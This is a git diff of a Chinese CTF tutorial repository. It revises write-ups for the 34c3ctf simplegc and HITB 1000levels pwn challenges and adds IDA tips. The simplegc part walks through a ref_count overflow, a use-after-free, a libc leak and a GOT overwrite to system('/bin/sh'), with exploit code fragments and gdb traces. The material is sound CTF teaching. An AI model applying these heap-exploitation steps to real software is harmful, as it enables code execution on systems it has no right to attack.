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1
SUMMARY.md
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@ -92,6 +92,7 @@ GitHub 地址：https://github.com/firmianay/CTF-All-In-One
* [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md)
* [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md)
* [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md)
* [4.15 利用 vsyscall 和 vDSO](doc/4.15_vsyscall_vdso.md)
* [五、高级篇](doc/5_advanced.md)
* [5.0 软件漏洞分析](doc/5.0_vulnerability.md)
* [5.1 模糊测试](doc/5.1_fuzzing.md)

15
doc/2.6_idapro.md
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@ -2,6 +2,7 @@
- [常用插件](#常用插件)
- [常用脚本](#常用脚本)
- [技巧](#技巧)
## 常用插件
@ -27,9 +28,7 @@
## 常用脚本
#### 内存 dump 脚本
调试程序时偶尔会需要 dump 内存，但 IDA Pro 没有直接提供此功能，可以通过脚本来实现。
```python
import idaapi
@ -39,3 +38,15 @@ fp = open('path/to/dump', 'wb')
fp.write(data)
fp.close()
```
## 技巧
#### 堆栈不平衡
某些函数在使用 f5 进行反编译时，会提示错误 "sp-analysis failed"，导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配，导致解析的时候 esp 发生错误。
解决办法步骤如下：
1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩
2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡
3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况，主要是看入栈的参数与 ret xx 是否匹配
4. 注意观察 jmp 指令前后的堆栈是否有变化
5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义

14
doc/4.15_vsyscall_vdso.md Normal file
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@ -0,0 +1,14 @@
# 4.15 利用 vsyscall 和 vDSO
- [CTF 实例](#ctf-实例)
- [参考资料](#参考资料)
## CTF 实例
例如章节 6.1.6 的 ret2vdso。
## 参考资料
- `man vdso`
- [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken)

3
doc/4.6_one-gadget_rce.md
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@ -5,6 +5,9 @@ one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NUL
可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget：
```
$ sudo gem install one_gadget
```
```
$ file /usr/lib/libc-2.26.so
/usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped
$ one_gadget -f /usr/lib/libc-2.26.so

1
doc/4_tips.md
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@ -14,3 +14,4 @@
- [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md)
- [4.13 利用 _IO_FILE 结构](4.13_io_file.md)
- [4.14 glibc tcache 机制](4.14_glibc_tcache.md)
- [4.15 利用 vsyscall 和 vDSO](4.15_vsyscall_vdso.md)

171
doc/6.1.15_pwn_34c3ctf2017_simplegc.md
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@ -2,7 +2,8 @@
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [Exploit](#exploit)
- [Exploit one](#exploit-one)
- [Exploit two](#exploit-two)
- [参考资料](#参考资料)
@ -15,8 +16,9 @@ sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, in
$ checksec -f sgc
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc
$ file libc-2.26.so
libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6d2b609f0c8e7b338f767b08c5ac712fac809d31, for GNU/Linux 3.2.0, stripped
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
```
一看 libc-2.26，请参考章节 4.14，tcache 了解一下。然后程序开启了 Canary 和 NX。
@ -702,6 +704,11 @@ struct group *groups[0x60]; // 0x6023e0
- ref_count 类型为 uint8_t 且在修改组是不会减 1，将导致溢出（例如：0x100 和 0x0），使 GC 进行释放 group 的操作
- 如果有两个同名的 group，两个 user 分别指向这两个 group，那么释放其中一个 user 时，另一个也会被释放，造成 UAF
然后是关于 tcache 的问题。在这个程序中有两个线程，thread-1 为主线程，thread-2 为 GC 线程，它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行，thread-2 只释放（group和group_name）不分配，所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的，所以会被主线程在分配时使用。
## Exploit one
第一种方法，我们利用 ref_count 溢出的 UAF。
#### overflow
首先我们来溢出 ref_count：
```python
@ -715,6 +722,88 @@ def overflow():
add_user('a'*8, 'A'*4) # overflow ref_count
sleep(2) # group_name and group freed by GC
```
首先说一下 for 循环，前几次当 thread-2 的 tcache 还未装满时，它的操作和下面类似（顺序可能不同）：
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x6034a0
group_name: malloc(24)=0x6034c0
group: malloc(16)=0x6034e0
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x6034c0) => thread-2 tcache
group: free(0x6034e0) => thread-2 tcache
```
当 thread-2 tcache 装满时，它释放的 chunk 都会被放进 fastbins，于是就可以被 thread-1 取出，下面是第 4 和 第 5 次循环：
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603500
group_name: malloc(24)=0x603520
group: malloc(16)=0x603540
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603520) => thread-2 tcache
group: free(0x603540) => fastbin
```
```
user: malloc(24)=0x6033c0 <= thread-1 tcache
name: malloc(9)=0x603540 <== fastbin
group_name: malloc(24)=0x603560
group: malloc(16)=0x603580
user: free(0x6033c0) => thread-1 tcache
group_name: free(0x603560) => fastbin
group: free(0x603580) => fastbin
```
此时的 thread-1 tcache 和 fastbin 如下所示：
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x603580
```
于是第 6 次循环，在第一次从 fastbin 中取出 chunk 后，剩余的 chunk 会被放入 thread-1 tcache（逆序），然后再从 tcache 里取（FILO）：
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560)
group_name: malloc(24)=0x603560 <= tcache
group: malloc(16)=0x6035a0
user: free(0x6033c0) => tcache
group_name: free(0x603560) => fastbin
group: free(0x6035a0) => fastbin
```
再往后，其实都是重复这个过程。循环结束时的状态为：
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[]
0x6020f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/4gx 0x6023e0
0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[]
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/2gx 0x6033a0
0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count
gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name
```
```
tcache: 0x6033c0
fastbin: 0x603560 -> 0x6054c0
```
紧接着我们再添加一个 user，导致 ref_count 溢出为 `0x100` 后，程序只有只有将低位的 `0x00` 放回 `ref_count`，于是 GC 会将 group_name 和 group struct 依次释放，放进 fastbin。
```
user: malloc(24)=0x6033c0 <= tcache
name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: )
fake group_name: free(0x603380) => fastbin (tcache: 0x603560 ; fastbin: 0x603380)
fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0)
group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0)
group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: )
```
最终结果为：
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[]
@ -724,17 +813,18 @@ gdb-peda$ x/4gx 0x6023e0
0x6023f0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/3gx 0x6033c0
0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0]
0x6033d0: 0x0000000000603380 <-- users[0]->group
0x6033d0: 0x0000000000603380 <-- users[0]->group
gdb-peda$ x/2gx 0x603380
0x603380: 0x0000000000000000 0x0000000000000000 <-- group_name <-- ref_count
0x603380: 0x0000000000000000 0x0000000000000000 <-- ref_count
```
可以看到，当我们将 ref_count 溢出为 `0x100` 后，程序只有只有将地位的 `0x00` 放回 `ref_count`，于是 GC 会将 group_name 和 group struct 依次释放，并将 groups[0] 赋值为 0，表现为 groups[] 为空。但 users[0] 依然存在，users[0]->group 依然指向 `group_name`（`0x603380`），悬指针产生。
最后将 groups[0] 赋值为 0，表现为 groups[] 为空。但 users[0] 依然存在，users[0]->group 依然指向 `group_name`（`0x603380`），悬指针产生。
#### uaf and leak
接下来利用悬指针泄漏 libc 的地址：
```python
def leak():
add_user('b'*32, 'B'*4) # group
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
@ -747,7 +837,11 @@ def leak():
return system_addr
```
首先添加一个 user，神奇的是这个 user struct 正好就是被释放的 group，所以修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去，在延迟绑定之后，它将指向 strlen 函数的地址，如下所示：
在执行该函数前的 tcache 如下：
```
tcache: 0x603380
```
当我们添加一个 user 时，因为 group "BBBB" 不存在，所以首先创建一个 group，然后再创建 user，这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去，在延迟绑定之后，它将指向 strlen 函数的地址，如下所示：
```
gdb-peda$ x/4gx 0x6020e0
0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[]
@ -809,54 +903,6 @@ gdb-peda$ x/gx 0x602030
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a3fdc0 <system>
```
```
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
RBX: 0x2
RCX: 0x7ffff7dd2c20 --> 0x0
RDX: 0x3
RSI: 0x0
RDI: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x7fffffffed40 --> 0x7fffffffed70 --> 0x4015b0 (push r15)
RSP: 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
RIP: 0x400960 (<strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030)
R8 : 0x0
R9 : 0x605510 --> 0x3
R10: 0xffffffffffffffb0
R11: 0x7ffff7b86b40 --> 0x2000200020002
R12: 0x400a60 (xor ebp,ebp)
R13: 0x7fffffffee50 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400950 <puts@plt>: jmp QWORD PTR [rip+0x2016d2] # 0x602028
0x400956 <puts@plt+6>: push 0x2
0x40095b <puts@plt+11>: jmp 0x400920
=> 0x400960 <strlen@plt>: jmp QWORD PTR [rip+0x2016ca] # 0x602030
| 0x400966 <strlen@plt+6>: push 0x3
| 0x40096b <strlen@plt+11>: jmp 0x400920
| 0x400970 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2016c2] # 0x602038
| 0x400976 <__stack_chk_fail@plt+6>: push 0x4
|-> 0x7ffff7a3fdc0 <system>: test rdi,rdi
0x7ffff7a3fdc3 <system+3>: je 0x7ffff7a3fdd0 <system+16>
0x7ffff7a3fdc5 <system+5>: jmp 0x7ffff7a3f820
0x7ffff7a3fdca <system+10>: nop WORD PTR [rax+rax*1+0x0]
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffebc8 --> 0x400f2c (add eax,0x1)
0008| 0x7fffffffebd0 --> 0x400a60 (xor ebp,ebp)
0016| 0x7fffffffebd8 --> 0x27fffffffee50
0024| 0x7fffffffebe0 --> 0x3
0032| 0x7fffffffebe8 --> 0x6033a0 --> 0x603560 --> 0x42424242 ('BBBB')
0040| 0x7fffffffebf0 --> 0x33 ('3')
0048| 0x7fffffffebf8 --> 0x7ffff7a54e36 (<printf+166>: mov rcx,QWORD PTR [rsp+0x18])
0056| 0x7fffffffec00 --> 0x42424242 ('BBBB')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400960 in strlen@plt ()
```
#### exploit
完整的 exp 如下：
@ -907,7 +953,7 @@ def overflow():
sleep(2) # group_name and group freed by GC
def leak():
add_user('b'*32, 'B'*4) # group
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))
@ -934,6 +980,17 @@ if __name__ == "__main__":
pwn()
```
虽然这一切看起来都没有问题，但我在运行的时候 system('/bin/sh') 却执行失败了，应该是我的 /bin/sh 不能使用这个 libc 的原因：
```
LD_PRELOAD=./libc-2.26.so /bin/sh
[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh
```
应该换成 Ubuntu-17.10 试试。（本机Arch）
## Exploit two
第二种方法，我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。
## 参考资料
- https://ctftime.org/task/5137

307
doc/6.1.16_pwn_hitbgsecctf2017_1000levels.md
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@ -15,14 +15,319 @@ $ file 1000levels
$ checksec -f 1000levels
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels
$ strings libc.so.6 | grep -i ubuntu
$ strings libc.so.6 | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```
关闭了 Canary，开启 NX 和 PIE。于是猜测可能是栈溢出，但需要绕过 ASLR。not stripped 可以说是很开心了。
玩一下：
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
Great job! You finished 1 levels in 1 seconds
```
Go 的功能看起来就是让你先输入一个数，然后再输入一个数，两个数相加作为 levels，然后让你做算术。
但是很奇怪的是，如果你使用了 Hint 功能，然后第一个数输入了 0 的时候，无论第二个数是多少，仿佛都会出现无限多的 levels：
```
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
More levels than before!
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 1 = ? Answer:1
====================================================
Level 3
Question: 1 * 1 = ? Answer:1
====================================================
Level 4
Question: 3 * 1 = ? Answer:
```
所以应该重点关注一下 Hint 功能。
## 题目解析
程序比较简单，基本上只有 Go 和 Hint 两个功能。
#### go
```
[0x000009d0]> pdf @ sym.go
/ (fcn) sym.go 372
| sym.go ();
| ; var int local_120h @ rbp-0x120
| ; var int local_118h @ rbp-0x118
| ; var int local_114h @ rbp-0x114
| ; var int local_110h @ rbp-0x110
| ; var int local_108h @ rbp-0x108
| ; CALL XREF from 0x00000f9f (main)
| 0x00000b7c push rbp
| 0x00000b7d mov rbp, rsp
| 0x00000b80 sub rsp, 0x120
| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?"
| 0x00000b8e call sym.imp.puts ; int puts(const char *s)
| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000b98 mov qword [local_120h], rax ; 将第一个数放进 local_120h
| 0x00000b9f mov rax, qword [local_120h]
| 0x00000ba6 test rax, rax
| ,=< 0x00000ba9 jg 0xbb9
| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000bb7 jmp 0xbc7
| || ; JMP XREF from 0x00000ba9 (sym.go)
| |`-> 0x00000bb9 mov rax, qword [local_120h]
| | 0x00000bc0 mov qword [local_110h], rax
| | ; JMP XREF from 0x00000bb7 (sym.go)
| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?"
| 0x00000bce call sym.imp.puts ; int puts(const char *s)
| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00000bd8 mov qword [local_120h], rax
| 0x00000bdf mov rdx, qword [local_110h]
| 0x00000be6 mov rax, qword [local_120h]
| 0x00000bed add rax, rdx ; '('
| 0x00000bf0 mov qword [local_110h], rax
| 0x00000bf7 mov rax, qword [local_110h]
| 0x00000bfe test rax, rax
| ,=< 0x00000c01 jg 0xc14
| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward"
| | 0x00000c0a call sym.imp.puts ; int puts(const char *s)
| ,==< 0x00000c0f jmp 0xcee
| |`-> 0x00000c14 mov rax, qword [local_110h]
| | 0x00000c1b cmp rax, 0x3e7
| |,=< 0x00000c21 jle 0xc3c
| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!"
| || 0x00000c2a call sym.imp.puts ; int puts(const char *s)
| || 0x00000c2f mov qword [local_108h], 0x3e8
| ,===< 0x00000c3a jmp 0xc4a
| ||| ; JMP XREF from 0x00000c21 (sym.go)
| ||`-> 0x00000c3c mov rax, qword [local_110h]
| || 0x00000c43 mov qword [local_108h], rax
| || ; JMP XREF from 0x00000c3a (sym.go)
| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'"
| | 0x00000c51 call sym.imp.puts ; int puts(const char *s)
| | 0x00000c56 mov edi, 0
| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer)
| | 0x00000c60 mov dword [local_118h], eax
| | 0x00000c66 mov rax, qword [local_108h]
| | 0x00000c6d mov edi, eax
| | 0x00000c6f call sym.level_int ; 进入计算题游戏
| | 0x00000c74 test eax, eax
| | 0x00000c76 setne al
| | 0x00000c79 test al, al
| |,=< 0x00000c7b je 0xcd8
| || 0x00000c7d mov edi, 0
| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer)
| || 0x00000c87 mov dword [local_114h], eax
| || 0x00000c8d mov edx, dword [local_114h]
| || 0x00000c93 mov eax, dword [local_118h]
| || 0x00000c99 sub edx, eax
| || 0x00000c9b mov rax, qword [local_108h]
| || 0x00000ca2 lea rcx, [local_120h]
| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@"
| || 0x00000cad mov ecx, edx
| || 0x00000caf mov rdx, rax
| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
| || 0x00000cb9 mov eax, 0
| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s,
| || 0x00000cc3 lea rax, [local_120h]
| || 0x00000cca add rax, 0x20
| || 0x00000cce mov rdi, rax
| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s)
| ,===< 0x00000cd6 jmp 0xce4
| ||| ; JMP XREF from 0x00000c7b (sym.go)
| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed."
| || 0x00000cdf call sym.imp.puts ; int puts(const char *s)
| || ; JMP XREF from 0x00000cd6 (sym.go)
| `---> 0x00000ce4 mov edi, 0
| | 0x00000ce9 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00000c0f (sym.go)
| `--> 0x00000cee leave
\ 0x00000cef ret
```
计算题游戏的函数 `sym.level_int()` 如下：
```
[0x000009d0]> pdf @ sym.level_int
/ (fcn) sym.level_int 289
| sym.level_int ();
| ; var int local_34h @ rbp-0x34
| ; var int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_18h @ rbp-0x18
| ; var int local_10h @ rbp-0x10
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000c6f (sym.go)
| ; CALL XREF from 0x00000e70 (sym.level_int)
| 0x00000e2d push rbp
| 0x00000e2e mov rbp, rsp
| 0x00000e31 sub rsp, 0x40 ; '@'
| 0x00000e35 mov dword [local_34h], edi
| 0x00000e38 mov qword [local_30h], 0
| 0x00000e40 mov qword [local_28h], 0
| 0x00000e48 mov qword [local_20h], 0
| 0x00000e50 mov qword [local_18h], 0
| 0x00000e58 cmp dword [local_34h], 0
| ,=< 0x00000e5c jne 0xe68
| | 0x00000e5e mov eax, 1
| ,==< 0x00000e63 jmp 0xf4c
| || ; JMP XREF from 0x00000e5c (sym.level_int)
| |`-> 0x00000e68 mov eax, dword [local_34h]
| | 0x00000e6b sub eax, 1
| | 0x00000e6e mov edi, eax
| | 0x00000e70 call sym.level_int
| | 0x00000e75 test eax, eax
| | 0x00000e77 sete al
| | 0x00000e7a test al, al
| |,=< 0x00000e7c je 0xe88
| || 0x00000e7e mov eax, 0
| ,===< 0x00000e83 jmp 0xf4c
| ||| ; JMP XREF from 0x00000e7c (sym.level_int)
| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void)
| || 0x00000e8d cdq
| || 0x00000e8e idiv dword [local_34h]
| || 0x00000e91 mov dword [local_8h], edx
| || 0x00000e94 call sym.imp.rand ; int rand(void)
| || 0x00000e99 cdq
| || 0x00000e9a idiv dword [local_34h]
| || 0x00000e9d mov dword [local_ch], edx
| || 0x00000ea0 mov eax, dword [local_8h]
| || 0x00000ea3 imul eax, dword [local_ch]
| || 0x00000ea7 mov dword [local_10h], eax
| || 0x00000eaa lea rdi, str. ; 0x1160 ; "===================================================="
| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s)
| || 0x00000eb6 mov eax, dword [local_34h]
| || 0x00000eb9 mov esi, eax
| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n"
| || 0x00000ec2 mov eax, 0
| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ecc mov edx, dword [local_ch]
| || 0x00000ecf mov eax, dword [local_8h]
| || 0x00000ed2 mov esi, eax
| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
| || 0x00000edb mov eax, 0
| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format)
| || 0x00000ee5 lea rax, [local_30h]
| || 0x00000ee9 mov edx, 0x400
| || 0x00000eee mov rsi, rax
| || 0x00000ef1 mov edi, 0
| || 0x00000ef6 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| || 0x00000efb mov dword [local_4h], eax
| || ; JMP XREF from 0x00000f16 (sym.level_int)
| ||.-> 0x00000efe mov eax, dword [local_4h]
| ||: 0x00000f01 and eax, 7
| ||: 0x00000f04 test eax, eax
| ,====< 0x00000f06 je 0xf18
| |||: 0x00000f08 mov eax, dword [local_4h]
| |||: 0x00000f0b cdqe
| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0
| |||: 0x00000f12 add dword [local_4h], 1
| |||`=< 0x00000f16 jmp 0xefe
| ||| ; JMP XREF from 0x00000f06 (sym.level_int)
| `----> 0x00000f18 lea rax, [local_30h]
| || 0x00000f1c mov edx, 0xa
| || 0x00000f21 mov esi, 0
| || 0x00000f26 mov rdi, rax
| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base)
| || 0x00000f2e mov rdx, rax
| || 0x00000f31 mov eax, dword [local_10h]
| || 0x00000f34 cdqe
| || 0x00000f36 cmp rdx, rax
| || 0x00000f39 sete al
| || 0x00000f3c test al, al
| ||,=< 0x00000f3e je 0xf47
| ||| 0x00000f40 mov eax, 1
| ,====< 0x00000f45 jmp 0xf4c
| |||| ; JMP XREF from 0x00000f3e (sym.level_int)
| |||`-> 0x00000f47 mov eax, 0
| ||| ; JMP XREF from 0x00000f45 (sym.level_int)
| ||| ; JMP XREF from 0x00000e83 (sym.level_int)
| ||| ; JMP XREF from 0x00000e63 (sym.level_int)
| ```--> 0x00000f4c leave
\ 0x00000f4d ret
```
#### hint
```
[0x000009d0]> pdf @ sym.hint
/ (fcn) sym.hint 140
| sym.hint ();
| ; var int local_110h @ rbp-0x110
| ; CALL XREF from 0x00000fa6 (main)
| 0x00000cf0 push rbp
| 0x00000cf1 mov rbp, rsp
| 0x00000cf4 sub rsp, 0x110
| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0
| 0x00000d02 mov qword [local_110h], rax
| 0x00000d09 lea rax, obj.show_hint ; 0x20208c
| 0x00000d10 mov eax, dword [rax]
| 0x00000d12 test eax, eax
| ,=< 0x00000d14 je 0xd41
| | 0x00000d16 mov rax, qword [local_110h]
| | 0x00000d1d lea rdx, [local_110h]
| | 0x00000d24 lea rcx, [rdx + 8]
| | 0x00000d28 mov rdx, rax
| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n"
| | 0x00000d32 mov rdi, rcx
| | 0x00000d35 mov eax, 0
| | 0x00000d3a call sym.imp.sprintf ; int sprintf(char *s,
| ,==< 0x00000d3f jmp 0xd66
| || ; JMP XREF from 0x00000d14 (sym.hint)
| |`-> 0x00000d41 lea rax, [local_110h]
| | 0x00000d48 add rax, 8
| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e
| | 0x00000d56 mov qword [rax], rsi
| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1
| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0
| | ; JMP XREF from 0x00000d3f (sym.hint)
| `--> 0x00000d66 lea rax, [local_110h]
| 0x00000d6d add rax, 8
| 0x00000d71 mov rdi, rax
| 0x00000d74 call sym.imp.puts ; int puts(const char *s)
| 0x00000d79 nop
| 0x00000d7a leave
\ 0x00000d7b ret
```
## Exploit
## 参考资料
- https://ctftime.org/task/4539

2
src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py → src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp_one.py
View File

@ -44,7 +44,7 @@ def overflow():
sleep(2) # group_name and group freed by GC
def leak():
add_user('b'*32, 'B'*4) # group
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))